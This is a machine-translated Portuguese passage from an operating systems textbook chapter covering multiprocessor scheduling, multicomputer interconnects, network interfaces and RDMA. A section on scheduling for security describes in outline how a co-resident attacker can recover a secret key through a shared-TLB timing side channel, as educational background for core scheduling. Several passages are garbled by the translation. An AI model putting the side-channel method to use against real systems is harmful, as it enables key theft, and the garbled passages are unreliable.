Outra questão que desempenha um papel no escalonamento é o fato de que, embora todas as 
CPUs sejam iguais, algumas CPUs são mais iguais. Em particular, quando o thread A for executado 
por um longo período na CPU k, o cache da CPU k estará cheio de blocos de A. Se A for executado 
novamente em breve, seu desempenho poderá ser melhor se for executado na CPU k, porque o cache 
de k ainda pode conter alguns dos blocos de A. Ter blocos de cache pré-carregados aumentará a taxa 
de acertos do cache e, portanto, a velocidade do thread. Além disso, o TLB também pode conter as 
páginas corretas, reduzindo as falhas do TLB. 

Alguns multiprocessadores levam esse efeito em consideração e utilizam o que é chamado de 
escalonamento de afinidade (Vaswani e Zahorjan, 1991). A ideia básica aqui é fazer um esforço sério 
para que um thread seja executado na mesma CPU em que foi executado da última vez. Uma maneira 
de criar essa afinidade é usar um algoritmo de escalonamento de dois níveis. Quando um thread é 
criado, ele é atribuído a uma CPU, por exemplo, com base em qual deles tem a menor carga naquele 
momento. Esta atribuição de threads às CPUs é o nível superior do algoritmo. Como resultado, cada 
CPU adquire sua própria coleção de threads. 

O escalonamento real dos threads é o nível inferior do algoritmo. Isso é feito por cada CPU 
separadamente, usando prioridades ou algum outro meio. Ao tentar manter um thread na mesma CPU 
durante todo o seu tempo de vida, a afinidade do cache é maximizada. 

No entanto, se uma CPU não tiver threads para executar, ela pegará uma de outra CPU em vez de 
ficar ociosa. 

O agendamento em dois níveis tem três benefícios. Primeiro, ele distribui a carga de maneira 
aproximadamente uniforme pelas CPUs disponíveis. Em segundo lugar, aproveita-se a afinidade do 
cache sempre que possível. Terceiro, ao fornecer a cada CPU sua própria lista de prontos, a disputa 
pelas listas de prontos é minimizada porque as tentativas de usar a lista de prontos de outra CPU são 
relativamente pouco frequentes. 


Compartilhamento de Espaço 
A outra abordagem geral para escalonamento de multiprocessadores pode ser usada quando 


threads estão relacionadas entre si de alguma forma. Mencionamos anteriormente o exemplo de criação 
paralela como um caso. Também ocorre frequentemente que um único processo tem múltiplos 
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fios que funcionam juntos. Por exemplo, se os threads de um processo comunicam um 
muito, é útil tê-los funcionando ao mesmo tempo. Agendando vários threads 
ao mesmo tempo em várias CPUs é chamado de compartilhamento de espaço. 

O algoritmo de compartilhamento de espaço mais simples funciona assim. Suponha que um todo 
grupo de threads relacionados é criado de uma só vez. No momento em que é criado, o agendador 
verifica se há tantas CPUs livres quanto threads. Se houver, cada 
thread recebe sua própria CPU dedicada (ou seja, não multiprogramada) e todos eles 
começar. Se não houver CPUs suficientes, nenhum dos threads será iniciado até que haja CPUs suficientes. 
CPUs estão disponíveis. Cada thread mantém sua CPU até terminar, momento em que 
momento em que a CPU é colocada de volta no conjunto de CPUs disponíveis. Se um thread for bloqueado 
E/S, ele continua retendo a CPU, que fica simplesmente ociosa até que o thread seja ativado. 
Quando o próximo lote de threads aparecer, o mesmo algoritmo será aplicado. 

A qualquer instante, o conjunto de CPUs é particionado estaticamente em um certo número de 
partições, cada uma executando os threads de um processo. Na Figura 8-13, nós 
possuem partições de tamanhos 4, 6, 8 e 12 CPUs, com 2 CPUs não atribuídas, por exemplo. Com o 


passar do tempo, o número e o tamanho das partições mudarão conforme novas 
threads são criados e os antigos terminam e terminam. 


Pá Partição de 12 CPUs 


CPU não atribuída 


Figura 8-13. Um conjunto de 32 CPUs divididas em quatro partições, com duas CPUs 
disponível. 


Periodicamente, decisões de agendamento devem ser tomadas. Em sistemas uniprocessados, 
o trabalho mais curto primeiro é um algoritmo bem conhecido para agendamento em lote. O análogo 
algoritmo para um multiprocessador é escolher o processo que necessita do menor número de ciclos de 
CPU, ou seja, o thread cuja contagem de CPU x tempo de execução é o menor 
dos candidatos. No entanto, na prática, esta informação raramente está disponível, pelo que o 
algoritmo é difícil de executar. Na verdade, estudos mostram que, na prática, vencer 
o primeiro a chegar, primeiro a ser servido é difícil de fazer (Krueger et al., 1994). 
Neste modelo simples de particionamento, um thread apenas solicita um certo número de CPUs 
e recebe todos eles ou tem que esperar até que estejam disponíveis. Uma abordagem diferente 
é que os threads gerenciem ativamente o grau de paralelismo. Um método para gerenciar o paralelismo é 
ter um servidor central que monitore quais threads estão sendo executadas. 
executando e deseja executar e quais são os requisitos mínimos e máximos de CPU 
são (Tucker e Gupta, 1989). Periodicamente, cada aplicação envia uma consulta ao 


Machine Translated by Google 


554 SISTEMAS DE MÚLTIPLOS PROCESSADORES INDIVÍDUO. 8 


servidor central para perguntar quantas CPUs ele pode usar. Em seguida, ajusta o número de 
threads para cima ou para baixo para corresponder ao que está disponível. 
Por exemplo, um servidor Web pode ter 5, 10, 20 ou qualquer outro número de threads 
correndo em paralelo. Se atualmente tiver 10 threads e de repente houver mais 
demanda por CPUs e é instruída a cair para 5, quando os próximos cinco threads terminarem seu 
trabalho atual, eles são instruídos a sair em vez de receberem um novo trabalho. Este esquema 
permite que os tamanhos das partições variem dinamicamente para corresponder melhor à carga de trabalho atual 
do que o sistema fixo da Fig. 8-13. 


Agendamento de gangue 


Uma clara vantagem do compartilhamento de espaço é a eliminação da multiprogramação, 
o que elimina a sobrecarga de troca de contexto. Contudo, uma igualmente clara 
A desvantagem é o tempo perdido quando uma CPU bloqueia e não tem nada para fazer 
até que esteja pronto novamente. Consequentemente, as pessoas têm procurado algoritmos que 
tente agendar simultaneamente no tempo e no espaço, especialmente para threads que criam vários threads, que 
geralmente precisam se comunicar entre si. 

Para ver o tipo de problema que pode ocorrer quando os threads de um processo são 
escalonado independentemente, considere um sistema com threads AO e A1 pertencentes a 
processo A e threads BO e B1 pertencentes ao processo B. Threads AO e BO são 
timeshare na CPU 0; os threads A1 e B1 são compartilhados em tempo na CPU 1. Threads AO 
e Aí precisam se comunicar com frequência. O padrão de comunicação é que AO envia Al 
uma mensagem, com A1 enviando de volta uma resposta para AO, seguida por outra 
sequência, comum em situações cliente-servidor. Suponha que a sorte tenha que AO e B1 


comece primeiro, conforme mostrado na Figura 8-14. 


Thread AO em execução 


Tempo 0 100 200 300 400 500 600 


Figura 8-14. Comunicação entre dois threads pertencentes ao thread A que são 
ficando fora de fase. 


No intervalo de tempo 0, AO envia uma solicitação para A1 , mas A1 não a recebe até que seja executado. 
intervalo de tempo 1 começando em 100 ms. Ele envia a resposta imediatamente, mas AO não 
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obtenha a resposta até que seja executado novamente a 200 ms. O resultado líquido é uma sequência de solicitação- 
resposta a cada 200 ms. Desempenho não muito bom. 

A solução para este problema é o agendamento de gangues, que é uma consequência do co 
agendamento (Ousterhout, 1982). O agendamento de gangues tem três partes: 


1. Grupos de threads relacionados são planejados como uma unidade, uma gangue. 
2. Todos os membros de uma gangue operam ao mesmo tempo em diferentes CPUs com compartilhamento de tempo. 
3. Todos os membros da gangue iniciam e terminam seus intervalos de tempo juntos. 


O truque que faz o escalonamento coletivo funcionar é que todas as CPUs são escalonadas de forma síncrona. 
Fazer isso significa que o tempo é dividido em quanta discretos, como fizemos na Figura 8.14. No início de cada 
novo quantum, todas as CPUs são reescalonadas, sendo iniciada uma nova thread em cada uma. No início do 
próximo quantum, outro evento de agendamento acontece. Nesse meio tempo, nenhum agendamento é feito. Se 


um thread for bloqueado, sua CPU permanecerá ociosa até o final do quantum. 


Um exemplo de como funciona o agendamento de gangues é dado na Figura 8.15. Aqui temos um 
multiprocessador com seis CPUs sendo utilizado por cinco processos, de A a E, com um total de 24 threads prontas. 
Durante o intervalo de tempo 0, os threads AO a A6 são agendados e executados. Durante o intervalo de tempo 1, 
os threads BO, B1, B2, CO, C1 e C2 são agendados e executados. Durante o intervalo de tempo 2, os cinco threads 
de D e E0 são executados. Os seis threads restantes pertencentes ao thread E são executados no intervalo de 


tempo 3. Em seguida, o ciclo se repete, com o slot 4 sendo igual ao slot O e assim por diante. 


CPU 


012345 


Figura 8-15. Agendamento de gangue. 


A ideia do escalonamento coletivo é fazer com que todas as threads de um processo sejam executadas juntas, 
ao mesmo tempo, em CPUs diferentes, de modo que se uma delas enviar uma solicitação para outra, receberá a 
mensagem quase imediatamente e será capaz de responda quase imediatamente. Na Figura 8.15, como todos os 
threads A estão rodando juntos, durante um quantum, eles podem enviar e receber um número muito grande de 


mensagens em um quantum, eliminando assim o problema da Figura 8.14. 
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Agendamento para segurança 


Como vimos, as questões de segurança complicam praticamente todas as atividades do sistema 
operacional e o agendamento não é exceção. Como os processos e threads executados no mesmo 
núcleo em diferentes threads de hardware (ou hyper-threads) compartilham os recursos do núcleo 
(como o cache e o TLB), a atividade de um processo no núcleo interfere na de outro. Nesta seção, 
explicamos brevemente como um processo invasor pode aprender um segredo de um processo 
vítima em um núcleo com um TLB compartilhado para páginas de código. No entanto, isso é algo 
bastante avançado e teremos mais a dizer sobre esses ataques de canal lateral no Cap. 9. 


Suponha que temos um núcleo com um TLB totalmente compartilhado e em um dos hyper- 
threads do núcleo executamos um programa que usa uma chave secreta (que é apenas uma 
sequência de bits) para criptografar blocos de dados fornecidos pelo usuário, por exemplo em um 
arquivo e o envia para um servidor remoto. Um invasor no segundo hyperthread deseja saber a 
chave secreta, mas o processo pertence a outra pessoa e tudo o que ela pode fazer é alimentar o 
programa com blocos de dados. Como ela aprenderá a chave? 

O truque é usar o conhecimento sobre o algoritmo. Muitos algoritmos criptográficos criptografam 
e descriptografam dados por meio de operações matemáticas inteligentes que dependem de cada 
bit da chave. Portanto, a rotina de criptografia irá iterar sobre a chave e para cada bit da chave, ela 
executará, digamos, a função fO se o bit da chave for 0, e a função f1 caso contrário. Em pseudocódigo: 


for (cada bit b na chave) 
{ if (b == 0) then fO(); 
senão f1(); 


Se f0 e f1 estiverem armazenados em páginas diferentes na memória, digamos PO e P1, sua 
execução também fará referência a páginas diferentes no TLB. Para um invasor, seria interessante 
saber a sequência de páginas usadas pelo outro processo, pois ele revela imediatamente a chave 
secreta. Claro, o processo também acessará outras páginas, então há algum ruído. Mesmo assim, 
suponha que ela seja capaz de observar a seguinte sequência: 


P5 P3 P7 P1 P7 P1 P7 P1 PO P7 P1 P7 PO P7 PO P7 P1 P1 P7 P1 P1 P7 P1... 


Existe um padrão claro. As primeiras páginas, P5 e P3, provavelmente estão relacionadas ao 
código de inicialização, mas depois disso vemos uma sequência onde o processo acessa PO ou P1 
após acessar P7 (onde P7 corresponde às instruções do loop). 

Embora o invasor não consiga ver as páginas que a vítima acessa diretamente, ele pode utilizar 
um canal lateral para observá-las indiretamente. O truque é observar os acessos à memória do seu 
próprio processo e ver se eles são afetados pela interferência do processo vítima. Para isso, ela cria 
um programa com um grande número de páginas virtuais, suficientes para cobrir todo o TLB. O 
programa não ocupa muita memória física, pois cada página de código é mapeada para uma única 
página física que contém 


Machine Translated by Google 


SEC. 8.1 MULTIPROCESSADORES 557 


apenas algumas instruções: medir o número de ciclos de clock para pular para a próxima página 
de código. Em outras palavras, ele obtém o valor do contador de ciclos da CPU, salta para o 
endereço virtual da próxima página de código, obtém novamente o contador de ciclos da CPU 

e calcula a diferença. Que bem isso traz? Bem, se foram necessários muitos ciclos de CPU 

para pular para a próxima página, provavelmente significa que houve uma falha no TLB. Essa 
falha provavelmente foi causada pela execução do código do programa no processo da vítima. 
Especificamente, cada salto lento corresponde a uma página acessada pela vítima. 

Ao observar a sequência de páginas lentas, o invasor pode reconstruir, pelo menos 
aproximadamente, a sequência de acessos na vítima e daí derivar a chave. 

Na prática, os ataques de canal lateral podem ficar muito mais complicados e geralmente 
têm que lidar com circunstâncias menos ideais, por exemplo, devido a acessos espúrios à 
memória, por exemplo, pelo kernel. No entanto, existem muitas maneiras de vazar dados em 
um núcleo compartilhado e muitos recursos compartilhados além do TLB para fazer isso. 
Especialmente após a divulgação das vulnerabilidades Meltdown e Spectre em processadores 
modernos em 2018 (Xiong e Szefer, 2021), as pessoas ficaram muito nervosas com a execução 
de programas mutuamente não confiáveis no mesmo núcleo. 

O que isso tem a ver com agendamento, você pergunta? Como os canais secundários são 
particularmente problemáticos para códigos não confiáveis executados no mesmo núcleo, muito 
trabalho foi feito para garantir que processos ou threads de diferentes domínios de segurança 
não fossem executados simultaneamente no mesmo núcleo. Por exemplo, o agendador principal 
no hipervisor Windows Hyper-V garante que nunca atribuirá threads de mais de uma máquina 
virtual ao mesmo núcleo físico. Se não houver nenhum segundo da mesma máquina virtual, 
isso simplesmente deixará o segundo hyper-thread sem uso. Na verdade, ele permite até que 
cada máquina virtual indique quais threads podem ser executadas juntas. 


O agendador principal torna mais difícil para os invasores usarem canais secundários 
específicos, mas não remove todos os canais secundários. Por exemplo, no exemplo acima, 
qualquer ataque que ocorra dentro de uma única máquina virtual ainda é possível. Mesmo 
assim, o SMT é problemático do ponto de vista da segurança e alguns sistemas operacionais, 
como o OpenBSD, já o desabilitaram por padrão — supostamente como resultado da pesquisa 
TLB feita por um dos autores deste livro. (Desculpe!) 


8.2 MULTICCOMPUTADORES 


Os multiprocessadores são populares e atraentes porque oferecem um modelo de 
comunicação simples: todas as CPUs compartilham uma memória comum. Os processos 
podem gravar mensagens na memória que podem ser lidas por outros processos. A 
sincronização pode ser feita usando mutexes, semáforos, monitores e outras técnicas bem 
estabelecidas. O único problema é que grandes multiprocessadores são difíceis de construir e, 
portanto, caros. E os muito grandes são impossíveis de construir a qualquer preço. Portanto, 
algo mais é necessário se quisermos ampliar para um grande número de CPUs. 
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Para contornar esses problemas, muitas pesquisas foram feitas em multicomputadores, que são CPUs 
fortemente acopladas que não compartilham memória. Cada um tem o seu 
própria memória, como mostrado na Figura 8.1(b). Esses sistemas também são conhecidos por uma variedade 
de outros nomes, incluindo computadores cluster e COWs (Clusters Of Workstations). Os serviços de 
computação em nuvem são sempre construídos em multicomputadores porque 
precisa ser grande. 

Multicomputadores são fáceis de construir porque o componente básico é apenas um 
PC simplificado, sem teclado, mouse ou monitor, mas com uma placa de interface de rede de alto desempenho. 
Claro, o segredo para obter alto desempenho 
é projetar a rede de interconexão e a placa de interface de maneira inteligente. Este problema é completamente 
análogo à construção da memória compartilhada em um multiprocessador. 
[por exemplo, veja a Figura 8-1 (b)]. No entanto, o objetivo é enviar mensagens em um microssegundo 
escala de tempo, em vez de acessar a memória em uma escala de tempo de nanossegundos, por isso é mais simples, 
mais barato e mais fácil de realizar. 

Nas seções seguintes, daremos primeiro uma breve olhada no hardware de multicomputadores, 
especialmente no hardware de interconexão. Depois passaremos para o software, começando com software 
de comunicação de baixo nível e depois software de comunicação de alto nível. Também veremos uma forma 
de obter memória compartilhada em sistemas que não a possuem. Por fim, examinaremos o agendamento e 


o balanceamento de carga. 


8.2.1 Hardware Multicomputador 


O nó básico de um multicomputador consiste em uma CPU, memória, uma rede 
interface e, às vezes, um disco rígido. O nó pode ser empacotado em um PC padrão 
caso, mas o monitor, o teclado e o mouse estão quase sempre ausentes. Às vezes 
esta configuração é chamada de estação de trabalho headless porque não há nenhum usuário com um 
cabeça na frente dele. Uma estação de trabalho com um usuário humano deveria logicamente ser chamada de 
“estação de trabalho dirigida”, mas por alguma razão não é. Em alguns casos, o PC contém uma placa 
multiprocessador de duas ou quatro vias, possivelmente cada uma com 
chip quad ou octa-core, em vez de uma única CPU, mas para simplificar, assumiremos 
que cada nó tenha uma CPU. Muitas vezes, centenas ou mesmo milhares de nós são 
conectados para formar um multicomputador. Abaixo falaremos um pouco sobre como isso 


hardware é organizado. 
Tecnologia de Interconexão 


Cada nó possui uma placa de interface de rede com um ou dois cabos (ou fibras) saindo dela. Esses 
cabos se conectam a outros nós ou a switches. Em um pequeno 
sistema, pode haver um switch ao qual todos os nós estão conectados na estrela 
topologia da Figura 8.16(a). Ethernets comutadas modernas usam esta topologia dentro de um 
escritório ou um pequeno edifício. 
Como alternativa ao projeto de chave única, os nós podem formar um anel, com 


dois fios saindo da placa de interface de rede, um no nó à esquerda e 
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(e) 


Figura 8-16. Várias topologias de interconexão. (a) Um único interruptor. (b) Um anel. 
(c) Uma grade. (d) Um toro duplo. (e) Um cubo. (f) Um hipercubo 4D. 


um indo para o nó à direita, como mostrado na Figura 8.16(b). Nesta topologia, nenhum switch 
é necessário e nenhum é mostrado. 

A grade ou malha da Figura 8.16(c) é um projeto bidimensional que tem sido usado em 
muitos sistemas comerciais. É altamente regular e fácil de escalar para tamanhos grandes. 
Tem um diâmetro que é o caminho mais longo entre dois nós quaisquer e que aumenta 
apenas como a raiz quadrada do número de nós. Uma variante da grade é o toro duplo da 
Figura 8.16(d), que é uma grade com as arestas conectadas. 

Não só é mais tolerante a falhas do que a grade, mas o diâmetro também é menor porque os 
cantos opostos agora podem se comunicar em apenas dois saltos. 

O cubo da Figura 8.16(e) é uma topologia tridimensional regular. Ilustramos um cubo 2 x 
2 x 2, mas no caso mais geral poderia ser um cubo k x k x k . Na Figura 8.16(f), temos um 
cubo quadridimensional construído a partir de dois cubos tridimensionais com os nós 
correspondentes conectados. Poderíamos criar um cubo pentadimensional clonando a estrutura 
da Figura 8.16(f) e conectando os nós correspondentes para formar um bloco de quatro cubos. 
Para ir para seis dimensões, poderíamos replicar o bloco de quatro cubos e interligar os nós 
correspondentes, e assim por diante. Um cubo n-dimensional formado desta forma é chamado 
de hipercubo. 

Muitos computadores paralelos usam uma topologia hipercubo porque o diâmetro cresce 
linearmente com a dimensionalidade. Em outras palavras, o diâmetro é o logaritmo de base 2 
do número de nós. Por exemplo, um hipercubo de 10 dimensões tem 
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1.024 nós, mas com diâmetro de apenas 10, proporcionando excelentes propriedades de atraso. 
Observe que, em contraste, 1.024 nós dispostos como uma grade 32 x 32 têm um diâmetro de 62, 
mais de seis vezes pior que o hipercubo. O preço pago pelo diâmetro menor é que o fanout e, 
portanto, o número de links (e o custo), são muito maiores para o hipercubo. 


Dois tipos de esquemas de comutação são usados em multicomputadores. No primeiro, cada 
mensagem é primeiro dividida (pelo software do usuário ou pela interface de rede) em um pedaço 
de comprimento máximo denominado pacote . O esquema de comutação, chamado comutação de 
pacotes store-and-forward, consiste no pacote sendo injetado no primeiro switch pela placa de 
interface de rede do nó de origem, como mostrado na Figura 8.17(a). Os bits chegam um de cada 
vez e, quando o pacote inteiro chega a um buffer de entrada, ele é copiado para a linha que leva ao 
próximo switch ao longo do caminho, como mostrado na Figura 8.17(b). Quando o pacote chega ao 
switch conectado ao nó de destino, como mostrado na Figura 8.17(c), o pacote é copiado para a 
placa de interface de rede daquele nó e, eventualmente, para sua RAM. 


` Porta de entrada 
Switch de 


quatro portas Porta de saída 


Pacote 
inteiro 


Pacote Pacote 
inteiro inteiro 
(a) (b) (c) 


Figura 8-17. Comutação de pacotes de armazenamento e encaminhamento. 


Embora a comutação de pacotes de armazenamento e encaminhamento seja flexível e eficiente, 
ela apresenta o problema de aumentar a latência (atraso) através da rede de interconexão. 
Suponha que o tempo para mover um pacote um salto na Figura 8.17 seja T nseg. Como o pacote 
deve ser copiado quatro vezes para ir da CPU 1 para a CPU 2 (para A, para C, para D e para a CPU 
de destino), e nenhuma cópia pode começar até que a anterior seja concluída, a latência através a 
rede de interconexão é 4T. Uma saída é projetar uma rede na qual um pacote possa ser logicamente 
dividido em unidades menores. Assim que a primeira unidade chega a um switch, ela pode ser 
encaminhada, mesmo antes da chegada da cauda. É concebível que a unidade possa ter apenas 1 
bit. 

O outro regime de comutação, comutação de circuitos, consiste no primeiro comutador 
estabelecer primeiro um caminho através de todos os comutadores até o comutador de destino. Uma vez que 
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Quando o caminho foi configurado, os bits são bombeados desde a origem até o destino, sem 
parar, o mais rápido possível. Não há buffer intermediário nos switches intermediários. A comutação 
de circuitos requer uma fase de configuração, que leva algum tempo, mas é mais rápida quando a 
configuração é concluída. Depois que o pacote for enviado, o caminho deverá ser destruído 
novamente. Uma variação da comutação de circuitos, chamada roteamento wormhole, divide 
cada pacote em subpacotes e permite que o primeiro subpacote comece a fluir antes mesmo de o 
caminho completo ter sido construído. 


Interfaces de rede 


Todos os nós em um multicomputador possuem uma placa plug-in contendo a conexão do nó 
à rede de interconexão que mantém o multicomputador unido ou um chip de rede na placa-mãe que 
faz a mesma coisa. A forma como essas placas (e chips) são construídas e como elas se conectam 
à CPU e à RAM principais têm implicações substanciais para o sistema operacional. Iremos agora 
examinar brevemente algumas das questões aqui. 


Em praticamente todos os multicomputadores, a placa de interface contém uma quantidade 
substancial de RAM para armazenar pacotes de entrada e saída. Normalmente, um pacote de saída 
deve ser copiado para a RAM da placa de interface antes de poder ser transmitido ao primeiro switch. 
A razão para este projeto é que muitas redes de interconexão são síncronas, de modo que, uma 
vez iniciada a transmissão de um pacote, os bits devem continuar fluindo a uma taxa constante. Se 
o pacote estiver na RAM principal, esse fluxo contínuo para a rede não poderá ser garantido devido 
a outro tráfego no barramento de memória. Usar uma RAM dedicada na placa de interface elimina 
esse problema. Este projeto é mostrado na Figura 8-18. 


RAM principal 


Opcional 
a bordo 
CPU Placa de 
Placa de interface 


interface 
BATER 


Nó 3 


Nó 4 


Figura 8-18. Posição das placas de interface de rede em um multicomputador. 


O mesmo problema ocorre com pacotes recebidos. Os bits chegam da rede a uma taxa 
constante e muitas vezes extremamente alta. Se a placa de interface de rede não puder armazená- 
los em tempo real à medida que chegam, os dados serão perdidos. Novamente aqui, tentando 
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passar do barramento do sistema (por exemplo, o barramento PCI) para a RAM principal é muito arriscado. Desde o 
placa de rede normalmente está conectada ao barramento PCI, esta é a única conexão que ela 
tem para a RAM principal, competindo por esse barramento com o disco e todas as outras E/S 
dispositivo é inevitável. É mais seguro armazenar pacotes recebidos na placa de interface 
RAM privada e depois copie-os para a RAM principal. 

A placa de interface pode ter um ou mais canais DMA ou até mesmo um completo 
CPU (ou talvez até várias CPUs) integrada. Os canais DMA podem copiar pacotes entre a placa de 
interface e a RAM principal em alta velocidade, solicitando 
transferências de blocos no barramento do sistema, transferindo assim várias palavras sem ter que 
solicite o barramento separadamente para cada palavra. No entanto, é precisamente este tipo de bloqueio 
transferência, que vincula o barramento do sistema a vários ciclos de barramento, o que torna a RAM da 
placa de interface necessária em primeiro lugar. 

Muitas placas de interface possuem uma CPU e às vezes um FPGA, possivelmente 
além de um ou mais canais DMA. Essa interface de rede é chamada de 
NIC inteligentes e estão se tornando cada vez mais poderosas e são muito comuns. 
Este design significa que a CPU principal pode transferir algum trabalho para a placa de rede, 
como lidar com transmissão confiável (se o hardware subjacente puder perder pacotes), multicasting 
(enviar um pacote para mais de um destino), compactação/ 
descompactação, criptografia/descriptografia e cuidados com a proteção em um sistema 
que tem vários processos. No entanto, ter duas CPUs significa que elas devem ser sincronizadas para 
evitar condições de corrida, o que adiciona sobrecarga extra e significa mais 
funcionam para o sistema operacional. 

Copiar dados entre camadas é seguro, mas não necessariamente eficiente. Por exemplo, um 
navegador solicitando dados de um servidor web remoto criará uma solicitação no 
espaço de endereço do navegador. Essa solicitação é posteriormente copiada para o kernel para que 
TCP e IP podem lidar com isso. A seguir, os dados são copiados para a memória da rede 
interface. Por outro lado, acontece o inverso: os dados são copiados da placa de rede para um buffer de 
kernel e de um buffer de kernel para o servidor Web. Bastante 
poucas cópias, infelizmente. Cada cópia introduz sobrecarga, não apenas a cópia 
em si, mas também a pressão sobre o cache, TLB, etc. Como consequência, a latência 
nessas conexões de rede é alto. 

Na próxima seção, discutiremos técnicas para reduzir ao máximo a sobrecarga devido à cópia, à 
poluição do cache e à alternância de contexto. 


8.2.2 Software de comunicação de baixo nível 


O inimigo da comunicação de alto desempenho em sistemas multicomputadores é 
cópia excessiva de pacotes. Na melhor das hipóteses, haverá uma cópia da RAM para 
placa de interface no nó de origem, uma cópia da placa de interface de origem para 
a placa de interface de destino (se não ocorrer armazenamento e encaminhamento ao longo do caminho), 
e uma cópia de lá para a RAM de destino, num total de três cópias. No entanto, 
em muitos sistemas é ainda pior. Em particular, se a placa de interface estiver mapeada 
no espaço de endereço virtual do kernel e não no espaço de endereço virtual do usuário, um processo de usuário 
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pode enviar um pacote apenas emitindo uma chamada de sistema que intercepta o kernel. O núcleo 
pode ter que copiar os pacotes para sua própria memória tanto na saída quanto na entrada, por 
por exemplo, para evitar falhas de página durante a transmissão pela rede. Além disso, o kernel receptor 
provavelmente não sabe onde colocar os pacotes recebidos até que tenha 
oportunidade de examiná-los. Essas cinco etapas de cópia são ilustradas na Figura 8.18. 

Se as cópias de e para a RAM forem o gargalo, as cópias extras de e para a RAM 
O kernel pode dobrar o atraso ponta a ponta e reduzir o rendimento pela metade. Evitar 
esse impacto no desempenho, muitos multicomputadores mapeiam a placa de interface diretamente em 
espaço do usuário e permitir que o processo do usuário coloque os pacotes diretamente na placa, sem o 
envolvimento do kernel. Embora essa abordagem definitivamente ajude o desempenho, ela 
introduz dois problemas. 

Primeiro, e se vários processos estiverem em execução no nó e ambos precisarem de rede 
acesso para enviar pacotes? Qual deles recebe a placa de interface em seu espaço de endereço? 
Ter uma chamada de sistema para mapear a placa dentro e fora de um espaço de endereço virtual é 
caro, mas se apenas um processo recebe a placa, como os outros enviam pacotes? E o que acontece se o 
quadro for mapeado no endereço virtual do processo A 
espaço e um pacote chega para o processo B, especialmente se A e B têm proprietários diferentes, nenhum dos 
quais deseja fazer qualquer esforço para ajudar o outro? 

Uma solução é mapear a placa de interface em todos os processos que dela necessitam, mas 
então é necessário um mecanismo para evitar condições de corrida. Por exemplo, se A reivindica um 
buffer na placa de interface e, em seguida, devido a um intervalo de tempo, B executa e reivindica o 
mesmo buffer, resultados de desastre. É necessário algum tipo de mecanismo de sincronização, 
mas esses mecanismos, como os mutexes, funcionam apenas quando se presume que os processos estão 
cooperando. Em um ambiente compartilhado com vários usuários, todos com pressa para 
realizar seu trabalho, um usuário pode simplesmente bloquear o mutex associado ao quadro 
e nunca liberá-lo. A conclusão aqui é que mapear a placa de interface em 
o espaço do usuário realmente funciona bem apenas quando há apenas um processo do usuário em execução 
cada nó, a menos que precauções especiais sejam tomadas (por exemplo, processos diferentes obtêm porções 
diferentes da RAM da interface mapeadas em seus espaços de endereço). 

O segundo problema é que o kernel pode precisar de acesso à própria rede de interconexão, por exemplo, 
para acessar o sistema de arquivos em um nó remoto. 
Fazer com que o kernel compartilhe a placa de interface com qualquer usuário não é uma boa ideia. Suponha 
que enquanto a placa estava mapeada no espaço do usuário, um pacote de kernel chegou. Ou 
suponha que o processo do usuário enviou um pacote para uma máquina remota fingindo ser 
o núcleo. A conclusão é que o projeto mais simples é ter duas placas de interface de rede, uma mapeada no 
espaço do usuário para tráfego de aplicativos e outra mapeada 
no espaço do kernel para uso pelo sistema operacional. Muitos multicomputadores fazem exatamente isso. 


Por outro lado, as interfaces de rede mais recentes são frequentemente multifilas, o que 
significa que eles têm mais de um buffer para suportar vários usuários de forma eficiente. Para 
Por exemplo, as placas de rede podem facilmente ter 16 filas de envio e 16 filas de recebimento, tornando 
virtualizáveis para muitas portas virtuais. Melhor ainda, a placa geralmente suporta core 


afinidade. Especificamente, ele possui sua própria lógica de hashing para ajudar a direcionar cada pacote para um 
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processo adequado. Como é mais rápido processar todos os segmentos no mesmo fluxo TCP 
no mesmo processador (onde os caches estão quentes), a placa pode usar a lógica de hashing 
para fazer hash dos campos de fluxo TCP (endereços IP e números de porta TCP) e adicionar 
todos os segmentos. mentos com o mesmo hash na mesma fila atendida por um núcleo 
específico. Isso também é útil para virtualização, pois nos permite dar a cada máquina virtual 
sua própria fila. 


Comunicação de interface nó-rede 


Outra questão é como colocar os pacotes na placa de interface. A maneira mais rápida é 
usar o chip DMA da placa para copiá-los da RAM. O problema com esta abordagem é que o 
DMA pode usar endereços físicos em vez de endereços virtuais e ser executado 
independentemente da CPU, a menos que uma MMU de E/S esteja presente. Para começar, 
embora um processo de usuário certamente conheça o endereço virtual de qualquer pacote 
que queira enviar, ele geralmente não conhece o endereço físico. Fazer uma chamada de 
sistema para fazer o mapeamento virtual para físico é indesejável, já que o objetivo de colocar 
a placa de interface no espaço do usuário era, em primeiro lugar, evitar ter que fazer uma 
chamada de sistema para cada pacote a ser enviado. 

Além disso, se o sistema operacional decidir substituir uma página enquanto o chip DMA 
estiver copiando um pacote dela, os dados errados serão transmitidos. Pior ainda, se o sistema 
operacional substituir uma página enquanto o chip DMA estiver copiando um pacote recebido 
para ele, não apenas o pacote recebido será perdido, mas também uma página de memória 
inocente será arruinada, provavelmente com consequências desastrosas em breve. 

Esses problemas podem ser evitados com chamadas de sistema para fixar e desafixar 
páginas na memória, marcando-as como temporariamente não pagináveis. No entanto, ter que 
fazer uma chamada de sistema para fixar a página que contém cada pacote de saída e depois 
fazer outra chamada para desafixá-la é caro. Se os pacotes forem pequenos, digamos, 64 
bytes ou menos, a sobrecarga para fixar e liberar cada buffer é proibitiva. Para pacotes grandes, 
digamos, 1 KB ou mais, pode ser tolerável. Para tamanhos intermediários, depende dos 
detalhes do hardware. Além de causar um impacto no desempenho, fixar e desafixar páginas 
aumenta a complexidade do software. E se os processos do usuário podem fixar páginas, o 
que impedirá que um processo ganancioso fixe todas as suas páginas para impedir que elas 
sejam paginadas, a fim de melhorar seu desempenho? 


Acesso remoto direto à memória 


Em alguns campos, altas latências de rede simplesmente não são aceitáveis. Por exemplo, 
para certas aplicações em computação de alto desempenho, o tempo de computação depende 
fortemente da latência da rede. Da mesma forma, a negociação de alta frequência envolve 
fazer com que os computadores realizem transações (compra e venda de ações) em 
velocidades extremamente altas — cada microssegundo conta. Se é ou não sensato fazer com 
que programas de computador negociem milhões de dólares em ações em um milissegundo, 
quando praticamente todos os softwares tendem a apresentar bugs, é uma questão interessante para 
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os filósofos do jantar devem considerar quando não estão ocupados pegando os garfos. Mas 
não para este livro. O ponto aqui é que se você conseguir diminuir a latência, é 
certamente o tornará muito popular com seu chefe. 

Nestes cenários, vale a pena reduzir a quantidade de cópias. Por esta razão, 
algumas interfaces de rede suportam RDMA (Remote Direct Memory Access), um 
técnica que permite que uma máquina realize um acesso direto à memória de uma 
computador para o de outro. O RDMA não envolve nenhuma das partes operacionais 
sistema e os dados são obtidos diretamente ou gravados na memória do aplicativo. 

